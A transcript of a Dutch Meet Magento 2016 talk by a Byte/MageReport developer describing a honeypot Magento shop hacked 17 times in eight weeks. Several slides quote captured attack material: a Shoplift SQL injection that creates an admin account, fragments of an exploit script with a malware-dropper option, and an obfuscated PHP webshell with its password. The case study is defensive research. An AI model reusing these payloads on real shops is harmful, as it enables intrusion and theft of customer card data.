Hackers traced - Meet Magento 2016

33
Hackers traced, a case study 17× gehackt in 8 weken, we pakken ze terug! ing. Tim Muller, developer @ Byte / MageReport.com

Transcript of Hackers traced - Meet Magento 2016

Page 1: Hackers traced -  Meet Magento 2016

Hackers traced, a case study

17× gehackt in 8 weken, we pakken ze terug!

ing. Tim Muller, developer @ Byte / MageReport.com

Page 2: Hackers traced -  Meet Magento 2016

Hoe het begonOnze eigen shop werd - tot onze schande - gehackt via Shoplift

Page 3: Hackers traced -  Meet Magento 2016

Tijd voor een experiment!Hoe komen hackers binnen?Wat doen ze met de shop?Wat houden we aan het eind over?

Page 4: Hackers traced -  Meet Magento 2016

MethodeNauw volgen wat de hackersuitvoeren & wat voor impact ditheeft op de shop.

Precies het tegenovergestelde doen! We bouwen een "unmanaged VPS" metstandaard 1.9.0 installatie.

Page 5: Hackers traced -  Meet Magento 2016

Stap 1: Strippen van HypernodeFilters op de bekende aanvalspatronenHeuristische lters op nieuwe aanvallenRate limits op bots en onbekende loginsDirectory listing aan voor bijv. /var/cache en .git bestanden

Page 6: Hackers traced -  Meet Magento 2016

Stap 2: Aanpassen MagentoInstalleren standaard MagmiStandaard admin url met admin account 'admin123'

Page 7: Hackers traced -  Meet Magento 2016

Stap 3: Toevoegen forensische maatregelenLegitiem verkeer blokkeren (zoekmachines)

Uitschakelen SSLTCPDUMP

IJk-kopie van database en lesRoot-protected Git repositoryRedirect uitgaande mailLogrotatie uitPeriodieke vergelijking van veranderingen (les & database)

ufw deny from 62.4.6.50/24

tcpdump -pni eth0 -s65535 -G 86400 -w 'trace_%u.pcap' port not 22

Page 8: Hackers traced -  Meet Magento 2016

Stap 4: Analyseren van gedragRegelmatig kopiëren van bewijsDe accesslogs strippen van ruisScripts voor herproduceerbaar resultaat

Page 9: Hackers traced -  Meet Magento 2016

Git noticatie

Page 10: Hackers traced -  Meet Magento 2016

Database noticatie

Page 11: Hackers traced -  Meet Magento 2016

Overzicht Admin-accountsDatum Naam Achternaam E-mail

2016-03-11 Byte Shop [email protected]

2016-03-21 Firstname Lastname [email protected]

2016-03-25 Firstname Lastname [email protected]

2016-04-05 Firstname Lastname [email protected]

2016-04-17 Firstname Lastname [email protected]

2016-04-20 Firstname Lastname [email protected]

2016-04-24 Firstname Lastname [email protected]

2016-04-30 Firstname Lastname [email protected]

2016-05-04 Firstname Lastname [email protected]

Page 12: Hackers traced -  Meet Magento 2016

Admin accounts [email protected] gebruikers 'ghaz', 'sadmin' & 'temp_admin' 104.41.210.214 POST /index.php/admin/Cms_Wysiwyg/directive/index/

popularity[from]=0&popularity[to]=3&popularity[field_expr]=0); SET @SALT = 'rp'; SET @PASS = CONCAT(MD5(CONCAT( @SALT , 'asdf') ), CONCAT(':', @SALT )); SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL; INSERT INTO admin_user (firstname, lastname ,email ,username ,password ,created, lognum ,reload_acl_flag ,is_active ,extra ,rp_token ,rp_token_created_at) VALUES ('Firstname','Lastname','[email protected]', 'ghaz',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW()); INSERT INTO admin_role (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM admin_user WHERE username = 'ghaz'),'Firstname');

Page 13: Hackers traced -  Meet Magento 2016

Admin account [email protected] argparse.ArgumentParser(description='Exploit for Magento Shoplift Vulnerability')

options.add_argument('­m', '­­malware', action='store_true', default=False, help='Install the PHP malware')

malwareDropper = "...INSERT INTO core_file_storage..." Assault = filt + adminMake + malwareDropper + commenter latent2 = latent2 + b64encode(Assault) r = requests.post(mageRoot, headers=headers, data='filter' : latent2, '___directive' : latent1, 'forwarded': '1', allow_redirects=True)

Database storage is een interessant doel voor hetuploaden van malware door /get.php

Page 14: Hackers traced -  Meet Magento 2016

"It's a old-rod"README.md op Github:

"*oldrod is the shing rod tool from Pokemon. Inthe Gen I Pokemon games, all it could catch wasLvl.5 Magikarp *Although, at the time of writing,there are 65,377 vulnerable Magento installs andcounting^, They all seem like Lvl.5 Magikarp tome. All the Gyrados wisened up."

Page 15: Hackers traced -  Meet Magento 2016

Admin account @telekpitekwashere.cokDezelfde SQL injection techniek

/* ++++++++++++++++++++++++++++++++++ ShopLift Exploiter Beta Version Author : FathurFreakz Use : php thisfile.php "Dork" YOGYAKARTA BLACK HAT Special Thanks to Nabiila Rizqi Khasanah +++++++++++++++++++++++++++++++++ */

Page 16: Hackers traced -  Meet Magento 2016

Admin account @telekpitekwashere.cokShopLift Exploiter Beta Version

"Dork" is de target233 regels aan search engine crawl codeLeest /etc/local.xml (ook via Magmi)

Page 17: Hackers traced -  Meet Magento 2016

Ons eigen admin account is overgenomen Op 5 april is het originele account overgenomen door 'majid'Via Shoplift admin account 'sadmin'Via MagPleasure 'File_System' aanpassen van /api.php

Page 18: Hackers traced -  Meet Magento 2016

/api.php

<?php

$auth_pass = "6b5b0dd03c9c85725032ce5f3a0918ae"; //password: enzo function onESs($NTlWmu) $NTlWmu=gzinflate(base64_decode($NTlWmu)); for($i=0;$i<strlen($NTlWmu);$i++) $NTlWmu[$i] = chr(ord($NTlWmu[$i])­1); return $NTlWmu;

eval(onESs("LX33juPqcucDGPA7HBj...knmClb6l7///d/+9//6/w=="))

?>

Page 19: Hackers traced -  Meet Magento 2016

/api.php e-mail

Page 20: Hackers traced -  Meet Magento 2016

/api.php, wat doet het?Geeft 404 Not found als:

de user-agent een zoekmachine isde credentials niet goed zijnde GET requesten niet geauthenticeerd zijn

Page 21: Hackers traced -  Meet Magento 2016

/api.php, wat doet het?

FilesMan

Page 22: Hackers traced -  Meet Magento 2016

/api.php, wat heeft de hacker gedaan?/magmi/tests/imports/ImportSuite1Test.php bekeken (?)Upload en uitpakken van fortuneo.zip naar js/lib/js/lib/bloge/identication/cong.db1.php aangepastjs/lib/bloge/identication/cong.db2.php aangepast< $send = "[email protected]"; > $send = "[email protected]";

6 verschillende IPs

Page 23: Hackers traced -  Meet Magento 2016

/api.php, wat heeft de hacker gedaan?fortuneo.zip

Page 24: Hackers traced -  Meet Magento 2016

Blacksmith Hackers Team <title>MrGHOST PRiv8 sHeLL</title>

<a href="https://facebook.com/blacksmith.hackers"> <img src="data:image/png;base64,iVBORw0KGgoAAAANSU.."></a>

Page 25: Hackers traced -  Meet Magento 2016

8 weken later...

Page 26: Hackers traced -  Meet Magento 2016

8 weken later...26749 brute force requests op /admin150 Shoplift aanvallen9 extra admin accounts365 extra les toegevoegd10 phishing pagina's

Page 27: Hackers traced -  Meet Magento 2016

8 weken later...Achter de schermen heeft shop.byte.nl nu ook

WebshellsPhishing pagina'sProxies naar andere sites

Page 28: Hackers traced -  Meet Magento 2016

En de schade(Franse) creditcardgegevens en bankgegevens gelektDe controle over de shop kwijtDe codebase is vervuild

Page 29: Hackers traced -  Meet Magento 2016

Proberen ze zich te verbergen?Methode van verbergen

Obscure code (eval, base64 gzinate) ^ 2Random hashes in URLGoogle Crawlers en GET requesten worden tegengehoudenToont pas de lemanager wanneer credentials juist zijnMeta headers redirect naar externe websiteFake user-agents bijv. Google

Page 30: Hackers traced -  Meet Magento 2016

Proberen ze zich te verbergen?Geen moeite doen

Admin accountsBrute forces op admin accountsOvernemen van de adminRondslingeren van bestanden

Page 31: Hackers traced -  Meet Magento 2016

Geen nieuwe patches, toch gehackt!Mogelijk hebben de 'boeven' een nieuwe manier gevonden.Onderzoek de hack, deel of betrek ons (Byte/MageReport) erbij

Page 32: Hackers traced -  Meet Magento 2016

Wat wij kunnen:

Wat wij kunnen betekenen

Omvang van de hack onderzoekenSecurity check op MageReport met een groot bereik vanshophoudersCommunicatie met Magento

Page 33: Hackers traced -  Meet Magento 2016

Dank jullie wel!

Vragen?

Heb je een hack gevonden? Deel hem graag met [email protected]